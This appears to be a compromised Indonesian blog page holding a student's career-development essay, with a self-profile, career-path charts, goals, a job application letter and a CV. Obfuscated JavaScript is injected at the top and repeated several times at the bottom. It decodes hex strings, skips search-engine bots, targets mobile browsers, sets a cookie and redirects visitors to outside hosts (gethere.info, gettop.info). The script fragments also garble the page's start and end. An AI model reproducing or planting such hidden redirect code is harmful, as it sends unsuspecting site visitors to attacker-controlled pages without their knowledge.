)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}document.currentScript.parentNode.insertBefore(s, document.currentScript);

Sistem Pengembangan karir

Pengembangan karir

Lulus dari SMA swasta Surabaya tahun 2007 dengan jurusan IPS saya meneruskan pendidikan saya di Universitas Pembangunan Nasional Surabaya. Dengan mengambil prodi Akuntansi pada Universitas tersebut, pendidikan saya terhenti saat semester 2 dikarenakan bentroknya jam kerja dengan jam kuliah.

Saya meneruskan pendidikan saya dengan membiayai semua kebutuhan saya sendiri, Sambil menunggu pendaftaran ajaran tahun baru saya bekerja sebagai SPB (sales promotion boy) di SOGO Surabaya. Saya bekerja di SOGO selama 3 tahun.

Pada tahun 2009 saya terdaftar sebagai Mahasiswa Narotama Surabaya dengan prodi Manajemen. Walaupun saat itu kuliah saya tetap bekerja sebagai SPB agar semua kebutuhan kuliah bisa terpenuhi dengan penghasilan yang saya dapatkan sendiri. Untung saja saat saya bekerja di SOGO jadwal kerja dan kuliah saya tidak bentrok sehingga masih bisa terus mengikuti kelas.

Pada awal tahun 2012 saya mengundurkan diri dari perusahaan tempat dimana saya bekerja dulu, karena saya sangat ingin mencoba pekerjaan lain beberapa lamaran sudah saya buat dan saya kirim keperusahaan yang  dituju namun hasilnya memang belum ada. Dan akhirnya saya bekerja sebagai SPB kembali di METRO Mall Surabaya sampai saat ini. Memang bila dilihat dari perjalanan karir saya belum begitu bagus. Karena untuk saat ini saya konsentrasikan dulu menyelesaikan kuliah.

 

  1. Perencanaan Karir Hidup
  •  Pemahaman diri : Saya suka dengan pekerjaan yang segala sesuatu tersistem dengan baik. Saya juga senang dengan pekerjaan yang banyak berinteraksi dengan orang lain, karena selama ini saya bekerja dan memiliki pengalaman pekerjaan menjadi seorang marketing.
  • Pemahaman lingkungan :Lingkungan yang nyaman akan mendukung saya untuk bekerja dengan baik.

Faktor-faktor yang mempengaruhi perencanaan karir hidup :

  • Psikologis : faktor psikologis yang saya miliki cukup bagus. Saya mampu berinteraksi dengan baik dengan orang lain walaupun saya bekerja dibawah tekanan target, menghadapi masalah dengan sikap tenang dan mudah beradaptasi.
  • Sosiologis : mudah beradaptasi dengan orang lain, memiliki rasa sosial yang tinggi
  • Ekonomis : Dalam bekerja saat ini saya tidak perlu mengeluarkan biaya untuk makan karena saya membawa bekal makan sehingga saya dapat menabung.Lokasi kerja dari tempat tinggal tidak jauh hanya 13 menit dengan menggunakan motor.
  • Fisik : secara fisik saya sangat sehat dan baik selama saya bekerja dan tidak pernah izin karena sakit.
  • Pendidikan :  pendidikan yang saya miliki dari sekolah dasar hingga saat ini sedang melanjutkan strata 1 sangat bagus, dalam bidang pekerjaan saya pendidikan yang baik sangat diperlukan.
  • Kebetulan / keberuntungan :

 

  1. Sistem yang Saling Berhubungan

Individu

  • Kebutuhan : Kebutuhan saya adalah memperoleh pekerjaan dan penghasilan sesuai dengan minat, kemampuan, serta keinginan saya.
  • Tujuan : Tujuannya adalah untuk membangun karir dan mendapatkan pengalaman serta meningkatkan finansial saya.
  • Nilai : Nilai yang saya terapkan dalam kehidupan saya adalah selalu belajar untuk yang lebih baik lagi, tidak mudah menyerah dalam mencapai tujuan dan selalu bersyukur kepada Tuhan YME atas segala kesempatan, kesehatan dan rejeki yang telah diberikan.

Keluarga

Saya adalah anak ke2 dari 5 bersaudara, saat ini 3 adik saya masih duduk di bangku sekolah oleh karena itu penghasilan yang saya peroleh dari bekerja, saya fokuskan untuk biaya kuliah saya. Keluarga saya juga mendukung agar saya bisa hidup mandiri dengan bekerja sambil kuliah.

 

Karir

  • Jalur Karir : Jalur karir yang saya lalui semenjak saya lulus SMA , saya menjadi seorang SPB di SOGO Mall hingga sampai saat ini di METRO Mall.
  • Tugas dan Tanggung Jawab Pekerjaan : Tugas saya sebagai SPB adalah menjual dan mempromosikan produk yang dijual sesuai target oleh tempat perusahaan saya bekerja.
  • Gaya dan Jalur Pekerjaan : Saya bekerja saling berhubungan dengan bagian – bagian lain serta dibawah pimpinan General Manager serta Wakil Direktur langsung.
  • Peralihan Kerja : Saya mempunyai patner kerja untuk bergantian dalam jadwal bekerja. Jka saya tidak waktu jam bertugas, patner saya yang menggantikan saya untuk menjual dan mempromosikan produk karena jam tugas saya ada 2 shift.
  • Pergantian Pekerjaan : Pergantian Pekerjaan hanya akan dilakukan ketika saya resign.

 

Bagan jalur karir

JALUR KARIR

Usia

19

20

23

Profesional Menjadi Guru private gitar
Manajerial SPB di SOGOSekaligus kulia SPB di Metro
Wirausaha

 

Bagan rencana jalur karir

DIDIT ARIYANTO

USIA

26

30

35

40

PROFESIONAL Memiliki gelar Management Magister Menjadi trainer
MANAJERIAL Staf Chief Perbankan
WIRAUSAHA Pemilik studio band & record Pemilik usaha pembuatan sepatu Pemilik pabrik sepatu terbesar di Jawa Timur
FINANCIAL

 

 

Visi & Misi

Untuk visi 2 tahun kedepan, saya sudah harus lulus dari pendidikan strata 1 dan akan melanjutkan perguruan tinggi strata2 sambil bekerja di salah satu perusahaan ternama yang menjadi karyawan tetap. Saya juga ingin menikah dan menjadi kepala rumah tangga yang sukses untuk keluarga. . .AMIN

 

Misi 2 tahun kedepan adalah menjadi salah satu karyawan dengan kinerja yang sangat baik di salah satu perusahaan ternama sehingga saya dapat jenjang karir yang bagus.

Langkah-langkah dalan mewujudkan visi & misi

Visi saya untuk 2 tahun ke depan tentunya lulus pendidikan strata1 dan saya sudah bekerja di perusahaan ternama. Untuk mewujudkan saya harus menyelsaikan pendidikan strata1 saya di tahun depan dan melamar pekerjaan di perusahaan ternama serta menambah wawasan dengan sering membuka internet. Saya juga akan menabung untuk setiap bulannya agar saya dapat menikah untuk 2 tahun ke depan.

Untuk mewujudkan misi saya dengan cara saya bekerja dengan keras dan disiplin mulai sekarang agar saya mendapat jenjang karir yang bagus di tempat saya bekerja.

Surat Lamaran Pekerjaan

 

Kepada

Yth. Bapak/Ibu kepala personalia

Di tempat

 

Dengan Hormat,

Saya yang bertanda tangan dibawah ini memberanikan diri untuk melamar pekerjaan di perusahaan bapak/ibu, dan saya sampaikan surat lamaran ini dengan kualifikasi sebagai berikut :

 

Nama lengkap                         : Didit Ariyanto

alamat                                      : Jl. Ngagel Tirto III

tempat dan tanggal lahir         : Surabaya, 1 Januari

pendidikan terakhir                 : SMA IPIEM Surabaya

 

Bersama ini saya lampirkan surat – surat kelengkapan sebagai bahan pertimbangan, sebagai berikut :

 

  1. Daftar riwayat hidup
  2. Pas Foto 4X6
  3. Fotocopy izajah terakhir

 

Besar harapan saya bapak/ibu akan mempertimbangkan lamaran saya ini.

Atas perhatian bapak/ibu, saya ucapkan terimakasih.

 

 

Daftar Riwayat Hidup

Yang bertanda tangan dibawah ini :

 

Nama                                       : Didit Ariyanto

Tempat &tanggal lahir            : Surabaya / 01januari

Umur                                       : 23 Tahun

Alamat                                                : Jl. Ngagel Tirto III /

Agama                                     : Islam

Status                                      : Belum kawin

Tinggi badan                           : 173 cm

Berat Badan                            : 64 kg

No. HP                                    : 08573xxxx

 

Riwayat pendidikan

  • SDN Ngagel Rejo X Surabaya 2001
  • SMPN 39 Surabaya 2004
  • SMA IPIEM Surabaya 2007
  • S1 Universitas Narotama Surabaya 2009  – sekarang

Pengalaman Kerja

  • SPB PT. Daina Karya Jaya di SOGO 3 Tahun
  • SPB Metro Mall Surabaya

Demikian surat daftar riwayat hidup ini saya buat dengan sebenarnya

 

 

 

 

 

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} setTimeout(“document.location.href=’http://gettop.info/kt/?53vSkc&'”, delay);var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}} else {